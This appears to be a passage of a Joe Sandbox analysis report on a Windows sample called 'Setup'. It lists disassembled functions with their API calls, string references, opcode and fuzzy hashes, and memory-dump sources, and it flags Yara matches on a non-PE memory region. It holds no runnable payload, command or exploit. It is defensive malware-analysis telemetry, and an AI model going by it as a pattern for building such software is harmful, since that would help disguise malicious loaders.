Part of subcall function 00B86200: EnterCriticalSection.KERNEL32(00D2CA60,00000000,?,?,?,00B76C8D,00000010,00000008,00B6D7E9,00B6D82C,00B68B8C,00B6486F,BFD722F5), ref: 00B86231
Part of subcall function 00B86200: InitializeCriticalSection.KERNEL32(00000000,?,?,?,00B76C8D,00000010,00000008,00B6D7E9,00B6D82C,00B68B8C,00B6486F,BFD722F5), ref: 00B86247
Part of subcall function 00B86200: LeaveCriticalSection.KERNEL32(00D2CA60,?,?,?,00B76C8D,00000010,00000008,00B6D7E9,00B6D82C,00B68B8C,00B6486F,BFD722F5), ref: 00B86255
Part of subcall function 00B86200: EnterCriticalSection.KERNEL32(00000000,?,?,?,00B76C8D,00000010,00000008,00B6D7E9,00B6D82C,00B68B8C,00B6486F,BFD722F5), ref: 00B86262

GetProfileIntW.KERNEL32(windows,DragMinDist,00000002), ref: 00BE53B3
GetProfileIntW.KERNEL32(windows,DragDelay,000000C8), ref: 00BE53C9

Strings

DragMinDist, xrefs: 00BE53A8
DragDelay, xrefs: 00BE53BE
windows, xrefs: 00BE53AD, 00BE53B2, 00BE53C3

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CriticalSection$EnterProfile$H_prolog3InitializeLeave
String ID: DragDelay$DragMinDist$windows
API String ID: 3965097884-2101198082
Opcode ID: 7cb98ddf690db1cdebda10b0b4469c2dec1eefb269c4fb10af94b4a82ce842c3
Instruction ID: 84539fc77b166d1d5c9b85ddd2d110a37f171678b20a7f5f6f0319e35f7e1c0b
Opcode Fuzzy Hash: 7cb98ddf690db1cdebda10b0b4469c2dec1eefb269c4fb10af94b4a82ce842c3
Instruction Fuzzy Hash: 67015AB0D407819FDBA0EF76890570EBAF0BB19700F50066EE18AD7B91E7B055418F19

Function 00B8873A Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VerSetConditionMask.KERNEL32 ref: 00B88797
VerSetConditionMask.KERNEL32 ref: 00B8879F
VerifyVersionInfoW.KERNEL32(0000011C,00000003,00000000), ref: 00B887B0
GetSystemMetrics.USER32(00001000), ref: 00B887C1

Part of subcall function 00B89183: __EH_prolog3.LIBCMT ref: 00B8918A
Part of subcall function 00B89183: GetSysColor.USER32(00000016), ref: 00B89193
Part of subcall function 00B89183: GetSysColor.USER32(0000000F), ref: 00B891A6
Part of subcall function 00B89183: GetSysColor.USER32(00000015), ref: 00B891BD
Part of subcall function 00B89183: GetSysColor.USER32(0000000F), ref: 00B891C9
Part of subcall function 00B89183: GetDeviceCaps.GDI32(?,0000000C), ref: 00B891F1
Part of subcall function 00B89183: GetSysColor.USER32(0000000F), ref: 00B891FF
Part of subcall function 00B89183: GetSysColor.USER32(00000010), ref: 00B8920D
Part of subcall function 00B89183: GetSysColor.USER32(00000015), ref: 00B8921B
Part of subcall function 00B89183: GetSysColor.USER32(00000016), ref: 00B89229
Part of subcall function 00B89183: GetSysColor.USER32(00000014), ref: 00B89237
Part of subcall function 00B89183: GetSysColor.USER32(00000012), ref: 00B89245
Part of subcall function 00B89183: GetSysColor.USER32(00000011), ref: 00B89253
Part of subcall function 00B89183: GetSysColor.USER32(00000006), ref: 00B8925E
Part of subcall function 00B89183: GetSysColor.USER32(0000000D), ref: 00B89269
Part of subcall function 00B89183: GetSysColor.USER32(0000000E), ref: 00B89274
Part of subcall function 00B89183: GetSysColor.USER32(00000005), ref: 00B8927F
Part of subcall function 00B89183: GetSysColor.USER32(00000008), ref: 00B8928D
Part of subcall function 00B89183: GetSysColor.USER32(00000009), ref: 00B89298
Part of subcall function 00B89183: GetSysColor.USER32(00000007), ref: 00B892A3
Part of subcall function 00B89183: GetSysColor.USER32(00000002), ref: 00B892AE
Part of subcall function 00B89183: GetSysColor.USER32(00000003), ref: 00B892B9
Part of subcall function 00B89183: GetSysColor.USER32(0000001B), ref: 00B892C7
Part of subcall function 00B89183: GetSysColor.USER32(0000001C), ref: 00B892D5
Part of subcall function 00B89183: GetSysColor.USER32(0000000A), ref: 00B892E3

Part of subcall function 00B88C49: __EH_prolog3_GS.LIBCMT ref: 00B88C53
Part of subcall function 00B88C49: GetDeviceCaps.GDI32(?,00000058), ref: 00B88C73
Part of subcall function 00B88C49: DeleteObject.GDI32(00000000), ref: 00B88CDD
Part of subcall function 00B88C49: DeleteObject.GDI32(00000000), ref: 00B88CFB
Part of subcall function 00B88C49: DeleteObject.GDI32(00000000), ref: 00B88D19
Part of subcall function 00B88C49: DeleteObject.GDI32(00000000), ref: 00B88D37
Part of subcall function 00B88C49: DeleteObject.GDI32(00000000), ref: 00B88D55
Part of subcall function 00B88C49: DeleteObject.GDI32(00000000), ref: 00B88D73
Part of subcall function 00B88C49: DeleteObject.GDI32(00000000), ref: 00B88D91

Part of subcall function 00B8881F: GetSystemMetrics.USER32(00000031), ref: 00B8882D
Part of subcall function 00B8881F: GetSystemMetrics.USER32(00000032), ref: 00B8883B
Part of subcall function 00B8881F: SetRectEmpty.USER32(00D2CC3C), ref: 00B8884E
Part of subcall function 00B8881F: EnumDisplayMonitors.USER32(00000000,00000000,00B886B7,00D2CC3C), ref: 00B8885E
Part of subcall function 00B8881F: SystemParametersInfoW.USER32(00000030,00000000,00D2CC3C,00000000), ref: 00B8886D
Part of subcall function 00B8881F: SystemParametersInfoW.USER32(00001002,00000000,00D2CC60,00000000), ref: 00B8889A
Part of subcall function 00B8881F: SystemParametersInfoW.USER32(00001012,00000000,00D2CC64,00000000), ref: 00B888AE
Part of subcall function 00B8881F: SystemParametersInfoW.USER32 ref: 00B888D4

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Color$DeleteObjectSystem$Info$Parameters$Metrics$CapsConditionDeviceMask$DisplayEmptyEnumH_prolog3H_prolog3_MonitorsRectVerifyVersion
String ID:
API String ID: 551326122-0
Opcode ID: f1a70e18eec3e5449968c0d30c9a4a1f52fe618ebf92192fa97e579e202b210a
Instruction ID: 6386975c0e65b27dc7b5061e31b250b888499feb6692422e9998c3df5f2962b8
Opcode Fuzzy Hash: f1a70e18eec3e5449968c0d30c9a4a1f52fe618ebf92192fa97e579e202b210a
Instruction Fuzzy Hash: 7D1173B1A01318ABDB25AF719C4AFEE77FCEB89704F00445EB24696191DBB44E44CBA1

Function 014ACCD7 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,?,?), ref: 014ACD69

Strings

.dll, xrefs: 014ACD0E

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .dll
API String ID: 1029625771-2738580789
Opcode ID: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction ID: f1602867f4c5003606d4cc9aef598ddc3f370238faa74293bcc509863c96f23f
Opcode Fuzzy Hash: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction Fuzzy Hash: 902136716002858FE762CFACD8C4B6A7FA4AF15220F8A406ED906DBB61D730E802C7C0

Function 014AB929 Relevance: 2.8, APIs: 2, Instructions: 325
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 014AB9A3
VirtualFree.KERNELBASE(00000000,00000000,0000C000), ref: 014ABCE7

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction ID: 3d07438880b119c536260a160126c49d3f1d5ebd77b3940be3690706f14011c5
Opcode Fuzzy Hash: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction Fuzzy Hash: 26B1F471500706EBDB329AA48C80FA7BBA8FF35310F96051FEA5992261DB35E550CBA1

Function 00B76CCA Relevance: 1.5, APIs: 1, Instructions: 44
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00B76CD1

Part of subcall function 00B767EA: TlsAlloc.KERNEL32(?,00B76CFD,00000004,00B6D7CF,00B68B8C,00B6486F,BFD722F5), ref: 00B76809
Part of subcall function 00B767EA: InitializeCriticalSection.KERNEL32(00D2C7E4,?,00B76CFD,00000004,00B6D7CF,00B68B8C,00B6486F,BFD722F5), ref: 00B7681A

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AllocCriticalH_prolog3InitializeSection
String ID:
API String ID: 2369468792-0
Opcode ID: a0973633b4475c522c7dddacdefe0ff6bc7d56b9a188ec1cb83b00e0a12028f5
Instruction ID: 415274829a122b91d786bdb6845978fb3c5808ef5e164fc2cf80588f38919183
Opcode Fuzzy Hash: a0973633b4475c522c7dddacdefe0ff6bc7d56b9a188ec1cb83b00e0a12028f5
Instruction Fuzzy Hash: 4F015A70B20B139BDB35AB34C86566D3BE1EF50354B1481B9E828DB3A0DB30CD01CBA0

Function 00BE93C8 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GdipGetImagePixelFormat.GDIPLUS(?,?,?,?,?,?), ref: 00BE945F

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: FormatGdipImagePixel
String ID:
API String ID: 1018106148-0
Opcode ID: bcb98be3a6c5e315c06795eddc5c3207dbd7222e19fa067cba95ced570247acf
Instruction ID: 0eeae312e4439356af267d7c9e0aab1eac2b2ff307b3baae320c7dd1ae9377e0
Opcode Fuzzy Hash: bcb98be3a6c5e315c06795eddc5c3207dbd7222e19fa067cba95ced570247acf
Instruction Fuzzy Hash: DF01F773808310CF9764DF79EC8145633F1EBA4204742883AE802C33AAEB308447AB65

Function 00B8868D Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000029,?,?,00000000), ref: 00B886AD

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: e2b97a844b0fee7c497405240f2eee29cd2a81870f6ddcc5c9496dbbb25b8691
Instruction ID: 497f9d7b19bc41591a602d129c25b00c974136c1ddb7e60a4c6bb7654eb8e27e
Opcode Fuzzy Hash: e2b97a844b0fee7c497405240f2eee29cd2a81870f6ddcc5c9496dbbb25b8691
Instruction Fuzzy Hash: 08D05E70150244AFE3049B40CC09FB233A9E795705F400078B2054F2A0DAB16800CB64

Function 00B6C890 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00B6C89F

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: DeleteObject
String ID:
API String ID: 1531683806-0
Opcode ID: b4b187b164fa5913ba9589726846ed74b51d6906c18daeeb2b9ae6abb400640b
Instruction ID: c293a0372c3134241c7836da2aafac3c91396a4d80b06997ffa1053eb969fb6f
Opcode Fuzzy Hash: b4b187b164fa5913ba9589726846ed74b51d6906c18daeeb2b9ae6abb400640b
Instruction Fuzzy Hash: 04B092A0922105AECF50A730990C33A2A949B5131AF00C8D8A18882041DB3DC0118910

Non-executed Functions

Function 014738D6 Relevance: 173.3, Strings: 137, Instructions: 2011COMMON

Download Yara Rule

Strings

/, xrefs: 0147557A
e, xrefs: 01474B32
3, xrefs: 01474224
M, xrefs: 0147405D
3, xrefs: 0147588A
0, xrefs: 0147481B
o, xrefs: 01475164
0, xrefs: 01474449
*, xrefs: 01474574
g, xrefs: 01474B42
5, xrefs: 014751BC
p, xrefs: 01474075
t, xrefs: 01474DDD
9, xrefs: 014751DC
(, xrefs: 01474564
S, xrefs: 01475194
1, xrefs: 01475974
2, xrefs: 014756EF
+, xrefs: 0147457C
P, xrefs: 01474EBD
b, xrefs: 01474D3D
i, xrefs: 01474055
i, xrefs: 01474B52
O, xrefs: 0147406D
4, xrefs: 01474544
2, xrefs: 0147421F
2, xrefs: 014755FA
`, xrefs: 01474783
!, xrefs: 01474E45
V, xrefs: 014751B4
0, xrefs: 0147560A
L, xrefs: 01474E1D
D, xrefs: 01475356
e, xrefs: 01475114
3, xrefs: 01473D4D
0, xrefs: 014756FF
\, xrefs: 01474E9D
1, xrefs: 01475414
2, xrefs: 0147540C
6, xrefs: 01474554
F, xrefs: 01474E6D
, xrefs: 01475572
Z, xrefs: 01474E8D
1, xrefs: 01475602
., xrefs: 01473C1C
~, xrefs: 01474DAD
,, xrefs: 01474584
\, xrefs: 01474B7A
!, xrefs: 0147521C
0, xrefs: 0147541C
D, xrefs: 01474E5D
I, xrefs: 0147403D
3, xrefs: 01474803
_, xrefs: 01474B6A
D, xrefs: 014757E2
{, xrefs: 014750B4
R, xrefs: 01474ECD
C, xrefs: 01474D4C
1, xrefs: 0147421A
6, xrefs: 01474479
6, xrefs: 01474659
q, xrefs: 01474B92
), xrefs: 0147393A
1, xrefs: 0147519C
G, xrefs: 0147402D
=, xrefs: 014751FC
v, xrefs: 01475104
m, xrefs: 01474B72
0, xrefs: 0147589C
A, xrefs: 01474D42
[, xrefs: 014751E4
3, xrefs: 014756E7
?, xrefs: 01474629
o, xrefs: 01474B82
(, xrefs: 01474489
B, xrefs: 01474D47
-, xrefs: 0147558A
2, xrefs: 01474065
h, xrefs: 01475134
2, xrefs: 01474459
N, xrefs: 01474E2D
B, xrefs: 01474E4D
n, xrefs: 01475124
@, xrefs: 01474E3D
X, xrefs: 01474E7D
a, xrefs: 01475562
p, xrefs: 01474DBD
E, xrefs: 0147401D
?, xrefs: 0147520C
k, xrefs: 01475184
1, xrefs: 014756F7
D, xrefs: 014757D5
c, xrefs: 01474B22
1, xrefs: 01475894
3, xrefs: 01475404
1, xrefs: 01474813
&, xrefs: 01475144
J, xrefs: 01474E0D
2, xrefs: 0147588F
{, xrefs: 01473B55
q, xrefs: 0147407D
k, xrefs: 01474B62
3, xrefs: 0147596A
^, xrefs: 01474EAD
}, xrefs: 014750D4
g, xrefs: 01474005
n, xrefs: 01473ACE
., xrefs: 01475582
V, xrefs: 01474EED
=, xrefs: 01474EA5
v, xrefs: 01474DED
D, xrefs: 01473A15
7, xrefs: 01474481
3, xrefs: 014755F2
7, xrefs: 014751CC
", xrefs: 01475224
:, xrefs: 01474045
C, xrefs: 0147400D
>, xrefs: 01474E55
K, xrefs: 0147404D
0, xrefs: 01475979
0, xrefs: 01474015
3, xrefs: 014751AC
+, xrefs: 01475552
a, xrefs: 01474B12
%, xrefs: 01475154
4, xrefs: 01474469
a, xrefs: 01474441
T, xrefs: 01474EDD
2, xrefs: 0147596F
H, xrefs: 01474DFD
#, xrefs: 0147522C
;, xrefs: 014751EC
2, xrefs: 0147480B
|, xrefs: 014739B0
r, xrefs: 01474DCD
p, xrefs: 01474B8A

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: $!$!$"$#$%$&$($($)$*$+$+$,$-$.$.$/$0$0$0$0$0$0$0$0$1$1$1$1$1$1$1$1$2$2$2$2$2$2$2$2$2$3$3$3$3$3$3$3$3$3$4$4$5$6$6$6$7$7$9$:$;$=$=$>$?$?$@$A$B$B$C$C$D$D$D$D$D$E$F$G$H$I$J$K$L$M$N$O$P$R$S$T$V$V$X$Z$[$\$\$^$_$`$a$a$a$b$c$e$e$g$g$h$i$i$k$k$m$n$n$o$o$p$p$p$q$q$r$t$v$v${${$|$}$~
API String ID: 0-4202706164
Opcode ID: 06a122154d4bb8dc3cf5059ed91443ccc0d4edbcc5e5ee33b7f80797662a11eb
Instruction ID: 13ee49fe01b4a618ecf135ef2feb93a5d575557ba71a87c3c86b1ce843726f3b
Opcode Fuzzy Hash: 06a122154d4bb8dc3cf5059ed91443ccc0d4edbcc5e5ee33b7f80797662a11eb
Instruction Fuzzy Hash: F6138F7160C7C18ED3259B38C4943EFBBE2ABD6314F18896ED0D98B3A2D6798545CB13

Function 00BAB932 Relevance: 57.2, APIs: 31, Strings: 1, Instructions: 1154windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 00BAB968
IsWindow.USER32(?), ref: 00BAB981
MonitorFromPoint.USER32(?,?,00000002), ref: 00BABA09
GetMonitorInfoW.USER32(00000000), ref: 00BABA10
CopyRect.USER32(?,?), ref: 00BABA22
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00BABA32
GetSystemMetrics.USER32(00000002), ref: 00BABC15
IsRectEmpty.USER32(?), ref: 00BABC2A
GetSystemMetrics.USER32(00000002), ref: 00BABC36
GetSystemMetrics.USER32(00000033), ref: 00BABC8F
GetSystemMetrics.USER32(00000006), ref: 00BABC9F
SendMessageW.USER32(?,00000401,00000001,00000000), ref: 00BABD33
SendMessageW.USER32(?,00000418,00000000,?), ref: 00BABD60
SetRectEmpty.USER32(00000000), ref: 00BAC026
RedrawWindow.USER32(?,00000000,00000000,00000105), ref: 00BAC09A
GetWindowRect.USER32(?,00000000), ref: 00BAC183
ClientToScreen.USER32(?,?), ref: 00BAC3E8
ClientToScreen.USER32(?,00000000), ref: 00BAC401
ClientToScreen.USER32(?,?), ref: 00BAC655
ClientToScreen.USER32(?,00000000), ref: 00BAC675
GetSystemMetrics.USER32(00000002), ref: 00BAC727
IsRectEmpty.USER32(?), ref: 00BAC73A
GetSystemMetrics.USER32(00000002), ref: 00BAC746
GetWindowRect.USER32(?,?), ref: 00BAC85C
IntersectRect.USER32(?,?,-00000054), ref: 00BAC8B0
InvalidateRect.USER32(?,-00000054,00000001), ref: 00BAC8C9
UpdateWindow.USER32(?), ref: 00BAC8D2
IntersectRect.USER32(?,?,-00000054), ref: 00BAC916
InvalidateRect.USER32(?,-00000054,00000001), ref: 00BAC92F
UpdateWindow.USER32(?), ref: 00BAC938
RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,?,?,00000014,00000000), ref: 00BAC971

Strings

(, xrefs: 00BAB9FF

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Window$System$Metrics$ClientScreen$Empty$InfoIntersectInvalidateMessageMonitorRedrawSendUpdate$CopyFromParametersPoint
String ID: (
API String ID: 2167655871-3887548279
Opcode ID: a0c3abbffdf0f97076fa7b58a0ff64caba50473519d4ac01c35f4d482c5d2ea8
Instruction ID: ac53c27b6611eeec1c494eb995b19bf959cb18f0c89a4e6381487a224e72f3b6
Opcode Fuzzy Hash: a0c3abbffdf0f97076fa7b58a0ff64caba50473519d4ac01c35f4d482c5d2ea8
Instruction Fuzzy Hash: 35B20671A042159FDF24CF68C884BE9BBF1FF49314F1841BAE809AB256DB709A85CF51

Function 00B624B0 Relevance: 44.6, APIs: 16, Strings: 9, Instructions: 897registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B63610: FindResourceW.KERNEL32(00000000,?,00000006,?,00000000,00000000,00B7BF2D,?,?,00B7BF2D,?), ref: 00B6363C
Part of subcall function 00B63610: LoadResource.KERNEL32(00000000,00000000,?,?,00B7BF2D,?), ref: 00B6364F
Part of subcall function 00B63610: LockResource.KERNEL32(00000000,?,?,00B7BF2D,?), ref: 00B6365E
